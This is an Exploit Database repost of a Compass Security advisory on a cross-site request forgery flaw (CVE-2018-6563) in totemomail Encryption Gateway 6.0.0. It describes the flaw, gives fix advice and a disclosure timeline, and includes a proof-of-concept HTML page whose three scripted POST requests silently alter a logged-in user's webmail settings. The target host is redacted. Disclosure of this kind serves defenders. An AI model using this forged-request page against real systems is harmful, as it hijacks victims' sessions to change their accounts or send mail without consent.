totemomail Encryption Gateway 6.0.0 Build 371 – Cross-Site Request Forgery

Exploit Database
147 阅读

作者： Compass Security

日期： 2018-05-16
类别：
- webapps
平台：
- asp
来源：https://www.exploit-db.com/exploits/44631/

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<!--

################################################################################

# COMPASS SECURITY ADVISORY

# https://www.compass-security.com/research/advisories/

################################################################################

# Product:totemomail Encryption Gateway

# Vendor: totemo AG

# CSNC ID:CSNC-2018-003

# CVE ID: CVE-2018-6563

# Subject:Cross-Site Request Forgery

# Risk: High

# Effect: Remotely exploitable

# Author: Nicolas Heiniger <nicolas.heiniger@compass-security.com>

# Date: 14.05.2018

################################################################################

Introduction:

-------------

The totemomail Encryption Gateway protects email communication with any external

partner by encryption. It doesn't matter whether you exchange emails with

technically savvy communication partners or with those who have neither an

appropriate infrastructure nor the necessary know-how. The encryption gateway

also makes it easy to securely send very large attachments.[1]

Compass Security discovered a vulnerability in the webmail part of the

solution. It is possible to predict all parameters that are required to

execute actions on the webmail interface. This allows an attacker to perform

Cross-Site Request Forgery (CSRF) attacks. The attacker needs to craft a malicious web

page that will automatically send a request to the Encryption Gateway. If the

user is logged in, the request will be executed by the Encryption Gateway on

behalf of the logged in user. This could be used to change a user's settings, send emails or

change contact informations.

Affected:

---------

Vulnerable:

* 6.0.0_Build_371

No other version was tested but is is likely that older versions are affected as

well.

Technical Description

---------------------

In the webmail, no anti-CSRF token is used. Although the viewState makes the

attack more complex, it is possible to entirely predict the requests and thus,

perform CSRF attacks. The requirement here is to perform the attack as a replay of a full

user interaction. One has to replay every request to make sure that the viewState is

updated on the server side and corresponds to the action that is performed by

the malicious page.

Such a malicious page is presented below, it will automatically send 3 requests

that will change the user's detail:

==========

-->

<html>

<body>

function submitRequest1()

{

var xhr = new XMLHttpRequest();

xhr.open("POST", "https:\/\/[CUT BY COMPASS]\/responsiveUI\/webmail\/newMessage.xhtml", true);

xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8");

xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");

xhr.setRequestHeader("Content-Type", "application\/x-www-form-urlencoded");

xhr.withCredentials = true;

var body = "tabNavigationForm_SUBMIT=1&javax.faces.ViewState=An36[CUT BY COMPASS]XBJn&tabNavigationForm_j_id_24_j_id_26=tabNavigationForm$

var aBody = new Uint8Array(body.length);

for (var i = 0; i < aBody.length; i++)

aBody[i] = body.charCodeAt(i);

xhr.send(new Blob([aBody]));

}

function submitRequest2()

{

var xhr = new XMLHttpRequest();

xhr.open("POST", "https:\/\/[CUT BY COMPASS]\/responsiveUI\/accountOverview\/preferences.xhtml", true);

xhr.setRequestHeader("Accept", "application\/xml, text\/xml, *\/*; q=0.01");

xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");

xhr.setRequestHeader("Content-Type", "application\/x-www-form-urlencoded; charset=UTF-8");

xhr.withCredentials = true;

var body = "javax.faces.partial.ajax=true&javax.faces.source=preferencesForm_phoneNumber_input_text&javax.faces.partial.execute=preferencesForm_phoneNumber_input_tex$

var aBody = new Uint8Array(body.length);

for (var i = 0; i < aBody.length; i++)

aBody[i] = body.charCodeAt(i);

xhr.send(new Blob([aBody]));

}

function submitRequest3()

{

var xhr = new XMLHttpRequest();

xhr.open("POST", "https:\/\/[CUT BY COMPASS]\/responsiveUI\/accountOverview\/preferences.xhtml", true);

xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8");

xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");

xhr.setRequestHeader("Content-Type", "application\/x-www-form-urlencoded");

xhr.withCredentials = true;

var body = "preferencesForm_firstname_input_text=CSRF&preferencesForm_lastname_input_text=CSRF&preferencesForm_phoneNumber_input_text=%2B41+00+000+00+00&preferencesF$

var aBody = new Uint8Array(body.length);

for (var i = 0; i < aBody.length; i++)

aBody[i] = body.charCodeAt(i);

xhr.send(new Blob([aBody]));

}

submitRequest1();

submitRequest2();

submitRequest3();

</script>

</body>

</html>

<!--

==========

Workaround / Fix:

-----------------

Install an up to date version of totemomail Encryption Gateway.

As a developer, the requests that execute actions must include an unpredictable

element. This is usually done by using an anti-CSRF token. This token is a

random value tied to the user's session and must be verified by the server

before executing any action on behalf of the user.

Timeline:

---------

2018-05-14: Coordinated public disclosure date

2018-03-XX: Release of fixed version 6.0_b511

2018-02-13: Initial vendor response

2018-02-09: Initial vendor notification

2018-02-02: Assigned CVE-2018-6563

2018-01-11: Discovery by Nicolas Heiniger

References:

-----------

[1] https://www.totemo.com/en/solutions/email-encryption/external-encryption

-->